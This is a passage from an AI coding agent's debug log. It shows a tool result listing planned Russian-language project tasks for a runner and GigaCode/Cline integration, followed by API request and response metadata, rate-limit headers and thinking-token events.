\u0413-33](https://github.com/G-Ivan-A/hybrid-Intelligence-l\\n696:| **B-215** | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-26, \u0413-27](https://github.com/G-Ivan-A/hybrid-Intelligence-lab\\n697:| **B-216** | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | null | B-211, B-212, B-213 | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-40](https://github.com/G-Ivan-A/hybrid-I\\n698:| **B-217** | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-42](https://github.com/G-Ivan-A/hybrid-Intelligence\\n699:| **B-218** | RFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n | null | B-216 | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-43\u2026\u0413-54](https://github.com/G-Ivan-A/hybr\",\n[2026-09-29T07:51:42.591Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:42.591Z] [INFO]       }\n[2026-09-29T07:51:42.591Z] [INFO]     ]\n[2026-09-29T07:51:42.591Z] [INFO]   },\n[2026-09-29T07:51:42.591Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:42.591Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:42.591Z] [INFO]   \"uuid\": \"26e06d71-f6b1-4366-ba24-325835f5f331\",\n[2026-09-29T07:51:42.591Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:42.581Z\",\n[2026-09-29T07:51:42.591Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:42.591Z] [INFO]     \"stdout\": \"692:| **B-211** | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-28](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/ma\\n693:| **B-212** | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0447\u0435\u0441\u0442\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-29, \u0413-30](https://git\\n694:| **B-213** | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-31, \u0413-32, \u0413-34](http\\n695:| **B-214** | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-33](https://github.com/G-Ivan-A/hybrid-Intelligence-l\\n696:| **B-215** | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-26, \u0413-27](https://github.com/G-Ivan-A/hybrid-Intelligence-lab\\n697:| **B-216** | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | null | B-211, B-212, B-213 | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-40](https://github.com/G-Ivan-A/hybrid-I\\n698:| **B-217** | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-42](https://github.com/G-Ivan-A/hybrid-Intelligence\\n699:| **B-218** | RFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n | null | B-216 | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-43\u2026\u0413-54](https://github.com/G-Ivan-A/hybr\",\n[2026-09-29T07:51:42.591Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:42.591Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:42.591Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:42.591Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:51:42.591Z] [INFO]   }\n[2026-09-29T07:51:42.591Z] [INFO] }\n[2026-09-29T07:51:42.625Z] [STDOUT] [log_d9936f] sending request {\n[2026-09-29T07:51:42.630Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:42.639Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:42.648Z] [STDOUT]   options: {\n[2026-09-29T07:51:42.654Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:42.661Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:42.666Z] [STDOUT]     body: {\n[2026-09-29T07:51:42.670Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:42.675Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:42.695Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:42.707Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:42.713Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:42.717Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:42.720Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:42.746Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:42.749Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:42.753Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:42.760Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:42.765Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:42.771Z] [STDOUT]     },\n[2026-09-29T07:51:42.773Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:42.779Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:42.782Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:42.786Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:42.790Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:42.792Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:42.794Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:42.796Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:42.798Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:42.801Z] [STDOUT]     },\n[2026-09-29T07:51:42.803Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:42.806Z] [STDOUT]   },\n[2026-09-29T07:51:42.809Z] [STDOUT]   headers: {\n[2026-09-29T07:51:42.812Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:42.816Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:42.821Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:42.825Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:42.831Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:42.835Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:42.837Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:42.840Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:42.844Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:42.849Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1247\",\n[2026-09-29T07:51:42.852Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:42.857Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:42.861Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:42.864Z] [STDOUT]     \"x-client-request-id\": \"2c03e9d8-f319-48dc-9b1b-c14191f49c4e\",\n[2026-09-29T07:51:42.870Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:42.876Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:42.879Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:42.883Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:42.885Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:42.888Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:42.892Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:42.897Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:42.902Z] [STDOUT]   },\n[2026-09-29T07:51:42.905Z] [STDOUT] }\n[2026-09-29T07:51:43.496Z] [STDOUT] [log_d9936f, request-id: \"req_011CfXNEcK5N9Q95TTDuCcL4\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 875ms\n[2026-09-29T07:51:43.499Z] [STDOUT] [log_d9936f] response start {\n[2026-09-29T07:51:43.503Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:43.508Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:43.513Z] [STDOUT]   headers: {\n[2026-09-29T07:51:43.515Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:43.518Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:43.521Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:43.525Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:43.529Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:43.531Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:43.535Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:43.538Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:43.541Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:43.543Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:43.547Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:43.550Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:43.554Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:43.560Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:43.563Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:43.566Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:43.569Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:43.572Z] [STDOUT]     \"cf-ray\": \"a429677b79ca01ff-CDG\",\n[2026-09-29T07:51:43.576Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:43.580Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:43.582Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:43.586Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:43.589Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:43 GMT\",\n[2026-09-29T07:51:43.592Z] [STDOUT]     \"request-id\": \"req_011CfXNEcK5N9Q95TTDuCcL4\",\n[2026-09-29T07:51:43.595Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:43.599Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:43.601Z] [STDOUT]     traceresponse: \"00-e9ddc14e7cbf3898949854395efb1529-5c331f60edd09010-01\",\n[2026-09-29T07:51:43.603Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:43.606Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:43.608Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:43.611Z] [STDOUT]   },\n[2026-09-29T07:51:43.613Z] [STDOUT]   durationMs: 875,\n[2026-09-29T07:51:43.615Z] [STDOUT] }\n[2026-09-29T07:51:43.618Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:43.622Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:43 GMT\",\n[2026-09-29T07:51:43.625Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:43.627Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:43.630Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:43.634Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:43.640Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:43.644Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:43.647Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:43.651Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:43.655Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:43.660Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:43.665Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:43.668Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:43.673Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:43.677Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:43.685Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:43.690Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:43.694Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:43.697Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:43.699Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:43.704Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:43.707Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:43.710Z] [STDOUT]   \"request-id\": \"req_011CfXNEcK5N9Q95TTDuCcL4\",\n[2026-09-29T07:51:43.713Z] [STDOUT]   \"traceresponse\": \"00-e9ddc14e7cbf3898949854395efb1529-5c331f60edd09010-01\",\n[2026-09-29T07:51:43.716Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:43.720Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:43.723Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:43.728Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:43.733Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:43.737Z] [STDOUT]   \"cf-ray\": \"a429677b79ca01ff-CDG\",\n[2026-09-29T07:51:43.740Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:43.743Z] [STDOUT] [log_d9936f] response parsed {\n[2026-09-29T07:51:43.745Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:43.748Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:43.753Z] [STDOUT]   body: X {\n[2026-09-29T07:51:43.755Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:43.759Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:43.763Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:43.765Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:43.768Z] [STDOUT]     },\n[2026-09-29T07:51:43.772Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:43.777Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:43.780Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:43.785Z] [STDOUT]   },\n[2026-09-29T07:51:43.787Z] [STDOUT]   durationMs: 875,\n[2026-09-29T07:51:43.792Z] [STDOUT] }\n[2026-09-29T07:51:44.023Z] [INFO] {\n[2026-09-29T07:51:44.023Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:44.023Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:44.023Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:44.023Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:44.023Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:44.023Z] [INFO]   \"uuid\": \"7e5e0d7b-3ae7-4009-bda5-33f49e1f9541\"\n[2026-09-29T07:51:44.023Z] [INFO] }\n[2026-09-29T07:51:45.095Z] [INFO] {\n[2026-09-29T07:51:45.095Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:45.095Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:45.095Z] [INFO]   \"estimated_tokens\": 100,\n[2026-09-29T07:51:45.095Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:45.095Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:45.095Z] [INFO]   \"uuid\": \"f31a0af0-84e4-4945-b4b2-0e3d265ad0ab\"\n[2026-09-29T07:51:45.095Z] [INFO] }\n[2026-09-29T07:51:46.626Z] [INFO] {\n[2026-09-29T07:51:46.626Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:46.626Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:46.626Z] [INFO]   \"estimated_tokens\": 350,\n[2026-09-29T07:51:46.626Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:46.626Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:46.626Z] [INFO]   \"uuid\": \"4f4a8a6c-1100-4aa1-852d-d6b195726d18\"\n[2026-09-29T07:51:46.626Z] [INFO] }\n[2026-09-29T07:51:47.175Z] [INFO] {\n[2026-09-29T07:51:47.175Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:47.175Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:47.175Z] [INFO]   \"estimated_tokens\": 448,\n[2026-09-29T07:51:47.175Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:47.175Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:47.175Z] [INFO]   \"uuid\": \"b1ed42f6-1237-4658-9485-4a10995ef04d\"\n[2026-09-29T07:51:47.175Z] [INFO] }\n[2026-09-29T07:51:47.180Z] [INFO] {\n[2026-09-29T07:51:47.180Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:47.180Z] [INFO]   \"message\": {\n[2026-09-29T07:51:47.180Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:47.180Z] [INFO]     \"id\": \"msg_011CfXNEdMpqeYeMZYkj77i5\",\n[2026-09-29T07:51:47.180Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:47.180Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:47.180Z] [INFO]     \"content\": [\n[2026-09-29T07:51:47.180Z] [INFO]       {\n[2026-09-29T07:51:47.180Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:47.180Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:47.180Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:51:47.180Z] [INFO]     ],\n[2026-09-29T07:51:47.180Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:47.180Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:47.180Z] [INFO]       \"cache_creation_input_tokens\": 1641,\n[2026-09-29T07:51:47.180Z] [INFO]       \"cache_read_input_tokens\": 103583,\n[2026-09-29T07:51:47.180Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:47.180Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:47.180Z] [INFO]         \"ephemeral_1h_input_tokens\": 1641\n[2026-09-29T07:51:47.180Z] [INFO]       },\n[2026-09-29T07:51:47.180Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:47.180Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:47.180Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:47.180Z] [INFO]     },\n[2026-09-29T07:51:47.180Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:47.180Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:47.180Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:47.180Z] [INFO]   },\n[2026-09-29T07:51:47.180Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:47.180Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:47.180Z] [INFO]   \"uuid\": \"9dc46d4b-c9ad-4918-8571-b975f8e0460a\",\n[2026-09-29T07:51:47.180Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:47.173Z\",\n[2026-09-29T07:51:47.180Z] [INFO]   \"request_id\": 